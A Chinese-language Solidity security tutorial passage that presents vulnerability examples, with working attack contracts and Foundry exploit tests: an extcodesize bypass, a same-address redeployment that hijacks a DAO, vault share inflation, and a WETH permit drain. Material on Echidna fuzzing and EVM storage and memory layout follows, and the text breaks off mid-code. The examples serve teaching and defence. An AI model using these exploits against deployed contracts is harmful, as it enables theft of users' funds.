在以太坊中,使用 extcodesize 函数检查一个地址是否为合约的常见方法。然而,当合约正在构造时,extcodesize 返回的大小为 0,这使得某些检查可以被绕过。

8.14.1 示例合约

8.14.1.1 目标合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Target {
    function isContract(address account) public view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

在这个合约中,isContract 函数利用 extcodesize 检查传入地址是否为合约。若为合约,调用将被拒绝。

8.14.1.2 攻击合约

contract FailedAttack {
    // 尝试调用 Target.protected 将失败
    function pwn(address _target) external {
        Target(_target).protected();
    }
}

FailedAttack 合约中,任何尝试调用 protected 的操作都会失败,因为 msg.sender 是合约地址。

8.14.1.3 成功的攻击合约

contract Hack {
    bool public isContract;
    address public addr;

    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // 这将成功
        Target(_target).protected();
    }
}

Hack 合约的构造函数中,合约被创建,extcodesize 返回 0,因此可以绕过 isContract 检查,成功调用 protected 函数。

8.14.2 结论

这个漏洞表明,依赖 extcodesize 作为判断地址是否为合约的唯一标准是危险的。在设计合约时,应考虑合约创建期间的状态,并避免仅依靠这种检查来保护敏感操作。可能的解决方案包括使用其他标识符,或在合约的逻辑中引入额外的安全检查。

8.15 在相同地址部署不同合约 (Deploy Different Contracts at the Same Address)

漏洞概述
在以太坊中,合约地址是通过发送者的地址和其 nonce 值计算得出的。这意味着,如果能够重置 nonce,就可以在相同的地址上部署不同的合约。这种攻击可以被用来操控 DAO(去中心化自治组织),从而绕过安全机制。

8.15.1 示例合约

8.15.1.1 DAO 合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }

    address public owner = msg.sender;
    Proposal[] public proposals;

    function approve(address target) external {
        require(msg.sender == owner, "not authorized");
        proposals.push(Proposal({target: target, approved: true, executed: false}));
    }

    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");

        proposal.executed = true;

        (bool ok,) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}

该合约允许 DAO 的拥有者批准和执行提案。

8.15.1.2 提案合约

contract Proposal {
    event Log(string message);

    function executeProposal() external {
        emit Log("Executed code approved by DAO");
    }

    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

8.15.1.3 攻击合约

contract Attack {
    event Log(string message);

    address public owner;

    function executeProposal() external {
        emit Log("Executed code not approved by DAO :)");
        // 例如 - 设置 DAO 的拥有者为攻击者
        owner = msg.sender;
    }
}

8.15.1.4 部署合约

contract DeployerDeployer {
    event Log(address addr);

    function deploy() external {
        bytes32 salt = keccak256(abi.encode(uint256(123)));
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
    }
}

contract Deployer {
    event Log(address addr);

    function deployProposal() external {
        address addr = address(new Proposal());
        emit Log(addr);
    }

    function deployAttack() external {
        address addr = address(new Attack());
        emit Log(addr);
    }

    function kill() external {
        selfdestruct(payable(address(0)));
    }
}

8.15.2 攻击流程

  1. Alice 部署 DAO 合约。
  2. 攻击者 部署 DeployerDeployer 合约。
  3. 攻击者调用 DeployerDeployer.deploy(),这会创建 Deployer 合约。
  4. 攻击者调用 Deployer.deployProposal(),部署 Proposal 合约,并记录其地址。
  5. Alice 通过 DAO 批准提案。
  6. 攻击者删除提案和 Deployer 合约。
  7. 攻击者重新部署 Deployer 合约,利用相同的 nonce。
  8. 攻击者调用 Deployer.deployAttack(),部署 Attack 合约。
  9. 攻击者调用 DAO 的 execute 函数。

最终,攻击者可以将 DAO 的拥有者更改为其自身地址。

8.15.3 结论

这种攻击表明,依赖合约的地址作为安全机制的合约设计是脆弱的。应考虑其他措施,如多重签名、时间锁和额外的访问控制,以提高合约的安全性。确保合约的逻辑能够抵御潜在的地址重用和攻击。

8.16 Vault Inflation Vulnerability

漏洞概述
Vault shares 可以通过向 vault 捐赠 ERC20 代币而被通胀化。这使得攻击者可以利用这一行为来盗取其他用户的存款。

8.16.1 攻击示例

  1. 用户 0 在用户 1 的存款之前进行前置交易。
  2. 用户 0 存入 1 个代币。
  3. 用户 0 捐赠 100 个代币,这会通胀化每个 share 的价值。
  4. 用户 1 存入 100 个代币,这会导致用户 1 获得 0 个 shares。
  5. 用户 0 提取所有 200 个代币 + 1 个代币。

8.16.2 保护措施

  • 最小 shares:可防止前置交易。
  • 内部余额:可防止捐赠影响。
  • 无效 shares:合约中的首位存款者。
  • 小数偏移(OpenZeppelin ERC4626):通过调整小数位数来处理 shares 的问题。

8.16.3 示例合约代码

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {
    IERC20,
    Vault,
    Token
} from "../../../src/hacks/vault-inflation/VaultInflation.sol";

uint8 constant DECIMALS = 18;

contract VaultTest is Test {
    Vault private vault;
    Token private token;

    address[] private users = [address(11), address(12)];

    function setUp() public {
        token = new Token();
        vault = new Vault(address(token));

        for (uint256 i = 0; i < users.length; i++) {
            token.mint(users[i], 10000 * (10 ** DECIMALS));
            vm.prank(users[i]);
            token.approve(address(vault), type(uint256).max);
        }
    }

    function print() private {
        console2.log("vault total supply", vault.totalSupply());
        console2.log("vault balance", token.balanceOf(address(vault)));
        uint256 shares0 = vault.balanceOf(users[0]);
        uint256 shares1 = vault.balanceOf(users[1]);
        console2.log("users[0] shares", shares0);
        console2.log("users[1] shares", shares1);
        console2.log("users[0] redeemable", vault.previewRedeem(shares0));
        console2.log("users[1] redeemable", vault.previewRedeem(shares1));
    }

    function test() public {
        // users[0] deposit 1
        console2.log("--- users[0] deposit ---");
        vm.prank(users[0]);
        vault.deposit(1);
        print();

        // users[0] donate 100
        console2.log("--- users[0] donate ---");
        vm.prank(users[0]);
        token.transfer(address(vault), 100 * (10 ** DECIMALS));
        print();

        // users[1] deposit 100
        console2.log("--- users[1] deposit ---");
        vm.prank(users[1]);
        vault.deposit(100 * (10 ** DECIMALS));
        print();
    }
}

8.16.4 结论

该示例展示了 vault inflation 如何导致潜在的安全问题。为防止此类攻击,应在设计合约时考虑引入更严格的访问控制和防止捐赠影响的机制,确保存款者的权益不会受到其他用户行为的影响。

8.17 WETH Permit Vulnerability

漏洞概述
大多数 ERC20 代币都有 permit 函数,可以通过有效的签名来批准支出者。然而,WETH 没有这个函数,当 permit 被调用时,该调用会执行而不会报错。这是因为 WETH 的 fallback 函数会在调用 permit 时执行。

8.17.1 攻击示例

  1. 用户 AliceERC20Bank 进行无限制的 WETH 额度批准。
  2. Alice 调用 deposit,存入 1 WETH 到 ERC20Bank
  3. 攻击者 调用 depositWithPermit,传递空的签名,从 Alice 转移所有代币到 ERC20Bank,并将这笔存款记入攻击者。
  4. 攻击者提取所有记入他们名下的代币。

8.17.2 合约代码

8.17.2.1 ERC20Bank 合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./IERC20Permit.sol";

contract ERC20Bank {
    IERC20Permit public immutable token;
    mapping(address => uint256) public balanceOf;

    constructor(address _token) {
        token = IERC20Permit(_token);
    }

    function deposit(uint256 _amount) external {
        token.transferFrom(msg.sender, address(this), _amount);
        balanceOf[msg.sender] += _amount;
    }

    function depositWithPermit(
        address owner,
        address recipient,
        uint256 amount,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        token.permit(owner, address(this), amount, deadline, v, r, s);
        token.transferFrom(owner, address(this), amount);
        balanceOf[recipient] += amount;
    }

    function withdraw(uint256 _amount) external {
        balanceOf[msg.sender] -= _amount;
        token.transfer(msg.sender, _amount);
    }
}

8.17.2.2 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {WETH} from "../../../src/hacks/weth-permit/WETH.sol";
import {ERC20Bank} from "../../../src/hacks/weth-permit/ERC20Bank.sol";

contract ERC20BankExploitTest is Test {
    WETH private weth;
    ERC20Bank private bank;
    address private constant user = address(11);
    address private constant attacker = address(12);

    function setUp() public {
        weth = new WETH();
        bank = new ERC20Bank(address(weth));

        deal(user, 100 * 1e18);
        vm.startPrank(user);
        weth.deposit{value: 100 * 1e18}();
        weth.approve(address(bank), type(uint256).max);
        bank.deposit(1e18);
        vm.stopPrank();
    }

    function test() public {
        uint256 bal = weth.balanceOf(user);
        vm.startPrank(attacker);
        bank.depositWithPermit(user, attacker, bal, 0, 0, "", "");
        bank.withdraw(bal);
        vm.stopPrank();

        assertEq(weth.balanceOf(user), 0, "WETH balance of user");
        assertEq(
            weth.balanceOf(address(attacker)),
            99 * 1e18,
            "WETH balance of attacker"
        );
    }
}

8.17.3 其他合约

  1. IERC20IERC20Permit 接口定义了 ERC20 代币的基本操作及其授权操作。
  2. ERC20 基类实现了标准的 ERC20 功能。
  3. WETH 合约实现了 Wrapped Ether 的功能,包括存款和提取功能。

8.17.4 结论

此漏洞允许攻击者利用 WETH 的 permit 调用,实施有效的攻击。为防止此类漏洞,应确保合约在处理未授权调用时的安全性,并考虑为代币实现完整的 permit 功能或相应的验证机制。

8.18 Echidna

这段文本主要介绍了如何使用Echidna进行模糊测试(fuzzing),并提供了示例代码。以下是对文本的翻译和解释:

Echidna的模糊测试示例

  1. 保存合约
    将Solidity合约保存为TestEchidna.sol

  2. 执行命令
    在存储合约的文件夹中执行以下命令:

    docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox

    在Docker容器中,您的代码将存储在/code目录下。

  3. 执行Echidna命令
    查看下面的注释并执行Echidna命令。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
echidna TestEchidna.sol --contract TestCounter
*/
contract Counter {
    uint256 public count;

    function inc() external {
        count += 1;
    }

    function dec() external {
        count -= 1;
    }
}

contract TestCounter is Counter {
    function echidna_test_true() public view returns (bool) {
        return true;
    }

    function echidna_test_false() public view returns (bool) {
        return false;
    }

    function echidna_test_count() public view returns (bool) {
        // 测试Counter.count应该始终 <= 5。
        // 测试将失败。Echidna智能地调用Counter.inc()超过5次。
        return count <= 5;
    }
}
  • Counter合约定义了一个计数器,可以增加或减少计数。
  • TestCounter合约继承自Counter,并定义了一些测试函数。echidna_test_count会测试计数是否小于或等于5,Echidna会试图调用inc()多于5次,测试将失败。
/*
echidna TestEchidna.sol --contract TestAssert --test-mode assertion
*/
contract TestAssert {
    function test_assert(uint256 _i) external {
        assert(_i < 10);
    }

    // 更复杂的示例
    function abs(uint256 x, uint256 y) private pure returns (uint256) {
        if (x >= y) {
            return x - y;
        }
        return y - x;
    }

    function test_abs(uint256 x, uint256 y) external {
        uint256 z = abs(x, y);
        if (x >= y) {
            assert(z <= x);
        } else {
            assert(z <= y);
        }
    }
}
  • TestAssert合约提供了一些断言测试,确保特定条件成立。test_assert会验证输入值小于10,而test_abs验证绝对值计算的结果是否符合预期。

8.18.1 测试时间和发送者

  • Echidna可以模糊测试时间戳。时间戳范围在配置中设置,默认为7天。

  • 合约调用者也可以在配置中设置。默认账户为:

    • 0x10000
    • 0x20000
    • 0x30000
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox
echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
*/
contract EchidnaTestTimeAndCaller {
    bool private pass = true;
    uint256 private createdAt = block.timestamp;

    /*
    如果Echidna可以调用setFail(),测试将失败。
    否则,测试将通过。
    */
    function echidna_test_pass() public view returns (bool) {
        return pass;
    }

    function setFail() external {
        /*
        如果延迟 <= 最大区块延迟,Echidna可以调用此函数。
        否则,Echidna将无法调用此函数。
        最大区块延迟可以在配置文件中指定。
        */
        uint256 delay = 7 days;
        require(block.timestamp >= createdAt + delay);
        pass = false;
    }

    // 默认发送者
    // 更改地址以查看测试失败
    address[3] private senders =
        [address(0x10000), address(0x20000), address(0x30000)];

    address private sender = msg.sender;

    // 传递_sender作为输入,要求msg.sender == _sender
    // 以查看_counter_example
    function setSender(address _sender) external {
        require(_sender == msg.sender);
        sender = msg.sender;
    }

    // 检查默认发送者。发送者应该是3个默认账户之一。
    function echidna_test_sender() public view returns (bool) {
        for (uint256 i; i < 3; i++) {
            if (sender == senders[i]) {
                return true;
            }
        }
        return false;
    }
}
  • EchidnaTestTimeAndCaller合约测试时间和发送者的有效性。setFail函数仅在经过指定延迟后可调用。echidna_test_sender确保调用者是预定义的账户之一。

8.19 EVM Storage

这段代码主要涉及以太坊虚拟机(EVM)中的存储管理,具体包括使用汇编语言进行读取和写入存储、不同数据类型的存储布局等内容。代码中展示了如何使用Yul(Solidity的内联汇编语言)进行变量赋值、存储变量、访问存储槽(slot)以及如何通过位掩码(bit masking)和偏移量(offset)来高效管理和访问存储中的数据。此外,代码还介绍了静态数组、动态数组、映射(mapping)和嵌套映射(nested mapping)的存储机制及其操作方法。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// Yul - language used for Solidity inline assembly
contract YulIntro {
    // Yul assignment
    function test_yul_var() public pure returns (uint256) {
        uint256 s = 0;

        assembly {
            // Declare variable
            let x := 1
            // Reassign
            x := 2
            // Assign to Solidity variable
            s := 2
        }

        return s;
    }

    // Yul types (everything is bytes32)
    function test_yul_types()
        public
        pure
        returns (bool x, uint256 y, bytes32 z)
    {
        assembly {
            x := 1
            y := 0xaaa
            z := "Hello Yul"
        }

        return (x, y, z);
    }
}

contract EVMStorageSingleSlot {
    // EVM storage
    // 2**256 slots, each slot can store up to 32 bytes
    // Slots are assigned in the order the state variables are declared
    // Data < 32 bytes are packed into a slot (right to left)
    // sstore(k, v) = store v to slot k
    // sload(k) = load 32 bytes from slot k

    // Single variable stored in one slot
    // slot 0
    uint256 public s_x;
    // slot 1
    uint256 public s_y;
    // slot 2
    bytes32 public s_z;

    function test_sstore() public {
        assembly {
            sstore(0, 111)
            sstore(1, 222)
            sstore(2, 0xababab)
        }
    }

    function test_sstore_again() public {
        // Access slot using .slot
        assembly {
            sstore(s_x.slot, 123)
            sstore(s_y.slot, 456)
            sstore(s_z.slot, 0xcdcdcd)
        }
    }

    function test_sload()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(0)
            y := sload(1)
            z := sload(2)
        }

        return (x, y, z);
    }

    function test_sload_again()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(s_x.slot)
            y := sload(s_y.slot)
            z := sload(s_z.slot)
        }

        return (x, y, z);
    }
}

contract EVMStoratePackedSlotBytes {
    // slot 0 (packed right to left)
    bytes4 public b4 = 0xabababab;
    bytes2 public b2 = 0xcdcd;

    function get() public view returns (bytes32 b32) {
        assembly {
            b32 := sload(0)
        }
    }
}

contract BitMasking {
    function test_mask() public pure returns (bytes32 mask) {
        assembly {
            // |       256 bits        |
            // 000 ... 000 | 111 ... 111
            //             | 16 bits
            // 0x000000000000000000000000000000000000000000000000000000000000ffff
            mask := sub(shl(16, 1), 1)
        }
    }

    function test_shift_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 000 ... 000 | 111 ... 111 | 000 ... 000 |
            //             | 16 bits     | 32 bits
            // 0x0000000000000000000000000000000000000000000000000000ffff00000000
            mask := shl(32, sub(shl(16, 1), 1))
        }
    }

    function test_not_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 111 ... 111 | 000 ... 000 | 111 ... 111 |
            //             | 16 bits     | 32 bits
            // 0xffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff
            mask := not(shl(32, sub(shl(16, 1), 1)))
        }
    }
}

contract EVMStoragePackedSlot {
    // Data < 32 bytes are packed into a slot
    // Bit masking (how to create 111...111)
    // slot, offset

    // slot 0
    uint128 public s_a;
    uint64 public s_b;
    uint32 public s_c;
    uint32 public s_d;
    // slot 1
    // 20 bytes = 160 bits
    address public s_addr;
    // 96 bits
    uint64 public s_x;
    uint32 public s_y;

    function test_sstore() public {
        assembly {
            // Load 32 bytes from slot0
            let v := sload(0)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 11
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 11
            v := or(v, 11)

            // Set s_b = 22
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(128, sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(128, 22))

            // Set s_c = 33
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(192, sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(192, 33))

            // Set s_d = 44
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(224, sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(224, 44))

            // Store new value to slot0
            sstore(0, v)
        }
    }

    function test_slot_0_offset()
        public
        pure
        returns (
            uint256 a_offset,
            uint256 b_offset,
            uint256 c_offset,
            uint256 d_offset
        )
    {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            a_offset := s_a.offset
            b_offset := s_b.offset
            c_offset := s_c.offset
            d_offset := s_d.offset
        }
    }

    function test_slot_1_offset()
        public
        pure
        returns (uint256 addr_offset, uint256 x_offset, uint256 y_offset)
    {
        // addr_offset = 0
        // x_offset = 20
        // y_offset = 28
        assembly {
            addr_offset := s_addr.offset
            x_offset := s_x.offset
            y_offset := s_y.offset
        }
    }

    // slot and offset
    function test_sstore_using_offset() public {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            // Load 32 bytes from slot0
            let v := sload(s_a.slot)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 111
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 1
            v := or(v, 111)

            // Set s_b = 222
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(mul(s_b.offset, 8), sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(mul(s_b.offset, 8), 222))

            // Set s_c = 333
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(mul(s_c.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(mul(s_c.offset, 8), 333))

            // Set s_d = 444
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(mul(s_d.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(mul(s_d.offset, 8), 444))

            // Store new value to slot0
            sstore(s_a.slot, v)
        }
    }
}

contract EVMStorageStruct {
    struct SingleSlot {
        uint128 x;
        uint64 y;
        uint64 z;
    }

    struct MultipleSlots {
        uint256 a;
        uint256 b;
        uint256 c;
    }

    // slot 0
    SingleSlot public single = SingleSlot({x: 1, y: 2, z: 3});
    // slot 1, 2, 3
    MultipleSlots public multi = MultipleSlots({a: 11, b: 22, c: 33});

    function test_get_single_slot_struct()
        public
        view
        returns (uint128 x, uint64 y, uint64 z)
    {
        assembly {
            let s := sload(0)
            //  z |  y | x
            // 64 | 64 | 128 bits
            // Casting cuts off bits to the left
            x := s
            y := shr(128, s)
            z := shr(192, s)
        }
    }

    function test_get_multiple_slots_struct()
        public
        view
        returns (uint256 a, uint256 b, uint256 c)
    {
        assembly {
            a := sload(1)
            b := sload(2)
            c := sload(3)
        }
    }
}

contract EVMStorageConstants {
    // slot 0
    uint256 public s0 = 1;
    // Constants and immutables don't use storage
    uint256 public constant X = 123;
    address public immutable owner;
    // slot 1
    uint256 public s1 = 2;

    constructor() {
        owner = msg.sender;
    }

    function test_get_slots() public view returns (uint256 v0, uint256 v1) {
        assembly {
            v0 := sload(0)
            v1 := sload(1)
        }
    }
}

contract EVMStorageFixedArray {
    // Fixed array with elements = 32 bytes, slot of element = slot where array is declared + index of array element
    // slots 0, 1, 2
    uint256[3] private arr_0 = [1, 2, 3];
    // slots 3, 4, 5
    uint256[3] private arr_1 = [4, 5, 6];
    // slot + index of packed data
    // slots 6, 6, 7, 7, 8
    uint128[5] private arr_2 = [7, 8, 9, 10, 11];

    function test_arr_0(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_0 starts from slot 0
            v := sload(add(0, i))
        }
    }

    function test_arr_1(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_1 starts from slot 3
            v := sload(add(3, i))
        }
    }

    function test_arr_2(uint256 i) public view returns (uint128 v) {
        assembly {
            // arr_2 starts from slot 6
            let b32 := sload(add(6, div(i, 2)))
            // slot 6 = 1st element | 0th element
            // slot 7 = 3rd element | 2nd element
            // slot 8 = 000 ... 000 | 4th element

            // i is even => get right 128 bits => cast bytes32 to uint128 (cut off left 128 bits)
            // i is odd  => get left 128 bits  => shift right 128 bits

            switch mod(i, 2)
            case 1 { v := shr(128, b32) }
            default { v := b32 }
        }
    }
}

contract EVMStorageDynamicArray {
    // slot of element = keccak256(slot where this array is declared) + size of element * index of element
    // keccak256(0) + 1 * index
    uint256[] private arr = [11, 22, 33];
    // keccak256(1) + 1 / 2 * index
    uint128[] private arr_2 = [1, 2, 3];

    function test_arr(uint256 slot, uint256 i)
        public
        view
        returns (uint256 v, bytes32 b32, uint256 len)
    {
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            v := sload(add(start, i))
            b32 := v
        }
    }
}

contract EVMStorageMapping {
    // slot of value = keccack256(key, slot where mapping is declared)
    mapping(address => uint256) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1] = 11;
        map[ADDR_2] = 22;
        map[ADDR_3] = 33;
    }

    function test_mapping(address key) public view returns (uint256 v) {
        uint256 slot = 0;
        bytes32 slot_v = keccak256(abi.encode(key, slot));

        assembly {
            v := sload(slot_v)
        }
    }
}

contract EVMStorageNestedMapping {
    // key0 => key1 => val
    // slot of value = keccak256(key1, keccack256(key0, slot where nested mapping is declared))
    mapping(address => mapping(address => uint256)) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1][ADDR_2] = 11;
        map[ADDR_2][ADDR_3] = 22;
        map[ADDR_3][ADDR_1] = 33;
    }

    function test_nested_mapping(address key_0, address key_1)
        public
        view
        returns (uint256 v)
    {
        uint256 slot = 0;
        bytes32 s0 = keccak256(abi.encode(key_0, slot));
        bytes32 s1 = keccak256(abi.encode(key_1, s0));

        assembly {
            v := sload(s1)
        }
    }
}

contract EVMStorageMappingArray {
    // slot of value in a mapping = keccak256(key, slot)
    // slot of array element = keccak256(slot) + index
    // mapping -> array -> keccak256(keccak256(key, slot of map declaration)) + index
    mapping(address => uint256[]) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);

    constructor() {
        map[ADDR_1].push(11);
        map[ADDR_1].push(22);
        map[ADDR_1].push(33);
        map[ADDR_2].push(44);
        map[ADDR_2].push(55);
        map[ADDR_2].push(66);
    }

    function test_map_arr(address addr, uint256 i)
        public
        view
        returns (uint256 v, uint256 len)
    {
        uint256 map_slot = 0;
        bytes32 map_hash = keccak256(abi.encode(addr, map_slot));
        bytes32 arr_hash = keccak256(abi.encode(map_hash));

        assembly {
            len := sload(map_hash)
            v := sload(add(arr_hash, i))
        }
    }
}

contract EVMStorageDynamicArrayStruct {
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // slot of element = keccak256(slot where this array is declared) + index of element
    // keccak256(0) + index * size of struct
    Point[] private arr;

    constructor() {
        arr.push(Point(11, 22, 33));
        arr.push(Point(44, 55, 66));
        arr.push(Point(77, 88, 99));
    }

    function test_struct_arr(uint256 i)
        public
        view
        returns (uint256 x, uint128 y, uint128 z, uint256 len)
    {
        uint256 slot = 0;
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            // s0 = keccak256(0)
            // index | slot        | values
            //     0 | slot s0 + 0 | arr[0].x
            //     0 | slot s0 + 1 | arr[0].z | arr[0].y
            //     1 | slot s0 + 2 | arr[1].x
            //     1 | slot s0 + 3 | arr[1].z | arr[1].y
            //     2 | slot s0 + 4 | arr[2].x
            //     2 | slot s0 + 5 | arr[2].z | arr[2].y
            x := sload(add(start, mul(i, 2)))
            let zy := sload(add(start, add(mul(i, 2), 1)))
            // uint128 cuts off left most 128 bits from 32 bytes
            y := zy
            z := shr(128, zy)
        }
    }
}

8.20 EVM Memory Layout in Solidity

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

// Memory layout
// array of length 2**256 (32 bytes), each element stores 1 byte (0x00 to 0xff)
// index     0    1    2   ...   0xfff...fff = 2**256 - 1
// memory | 00 | 00 | 00 | ... | 00 |

// Reserved slots
// 0x00 - 0x3f (64 bytes): scratch space for hashing methods
// 0x40 - 0x5f (32 bytes): free memory pointer - pointer to next available location in memory to store data
// 0x60 - 0x7f (32 bytes): zero slot - used as initial value for dynamic memory arrays and should never be written to

// Free memory pointer (0x40)
// 0x80 = Free memory pointer initially points here
contract MemBasic {
    // mstore(p, v) = store 32 bytes to memory starting at memory location p
    // mload(p) = load 32 bytes from memory starting at memory location p
    function test_1() public pure returns (bytes32 b32) {
        assembly {
            // Free memory pointer
            // p = 0x80
            let p := mload(0x40)
            mstore(p, 0xababab)
            b32 := mload(p)
        }
    }

    function test_2() public pure {
        assembly {
            mstore(0, 0x11)
            // index: 32 bytes of data stored in memory from index
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000011
            mstore(1, 0x22)
            //           0 1
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x2200000000000000000000000000000000000000000000000000000000000000
            mstore(2, 0x33)
            //           0 1 2
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x0033000000000000000000000000000000000000000000000000000000000000
            mstore(3, 0x44)
            //           0 1 2 3
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x0000440000000000000000000000000000000000000000000000000000000000
        }
    }
}

contract MemStruct {
    // Memory data is not packed - all data stored in chunks of 32 bytes
    struct Point {
        uint256 x;
        uint32 y;
        uint32 z;
    }

    function test_read()
        public
        pure
        returns (uint256 x, uint256 y, uint256 z)
    {
        // Point is loaded to memory starting at 0x80
        // 0x80 = initial free memory
        Point memory p = Point(1, 2, 3);

        assembly {
            // load 32 bytes starting from 0x80
            x := mload(0x80)
            // load 32 bytes starting from 0xa0 (0x80 + 32 = 0xa0)
            y := mload(0xa0)
            // load 32 bytes starting from 0xc0 (0xa0 + 32 = 0xc0)
            z := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (bytes32 free_mem_ptr, uint256 x, uint256 y, uint256 z)
    {
        // Allocates memory 0x80 to 0xdf to Point
        // Free memory pointer = 0xdf + 1 = 0xe0
        Point memory p;

        // Write
        assembly {
            // store to 0x80
            mstore(p, 11)
            // store to 0xa0
            mstore(add(p, 0x20), 22)
            // store to 0xc0
            mstore(add(p, 0x40), 33)
            // 0xe0
            free_mem_ptr := mload(0x40)
        }

        x = p.x;
        y = p.y;
        z = p.z;
    }
}

contract MemFixedArray {
    function test_read()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        // arr is loaded to memory starting at 0x80
        // Each array element is stored as 32 bytes
        uint32[3] memory arr = [uint32(1), uint32(2), uint32(3)];

        assembly {
            a0 := mload(0x80)
            a1 := mload(0xa0)
            a2 := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        uint32[3] memory arr;

        assembly {
            // 0x80
            mstore(arr, 11)
            // 0xa0
            mstore(add(arr, 0x20), 22)
            // 0xc0
            mstore(add(arr, 0x40), 33)
        }

        a0 = arr[0];
        a1 = arr[1];
        a2 = arr[2];
    }
}

contract MemDynamicArray {
    function test_read()
        public
        pure
        returns (bytes32 p, uint256 len, uint256 a0, uint256 a1, uint256 a2)
    {
        uint256[] memory arr = new uint256[](5);
        arr[0] = uint256(11);
        arr[1] = uint256(22);
        arr[2] = uint256(33);
        arr[3] = uint256(44);
        arr[4] = uint256(55);

        assembly {
            p := arr
            // 0x80
            len := mload(arr)
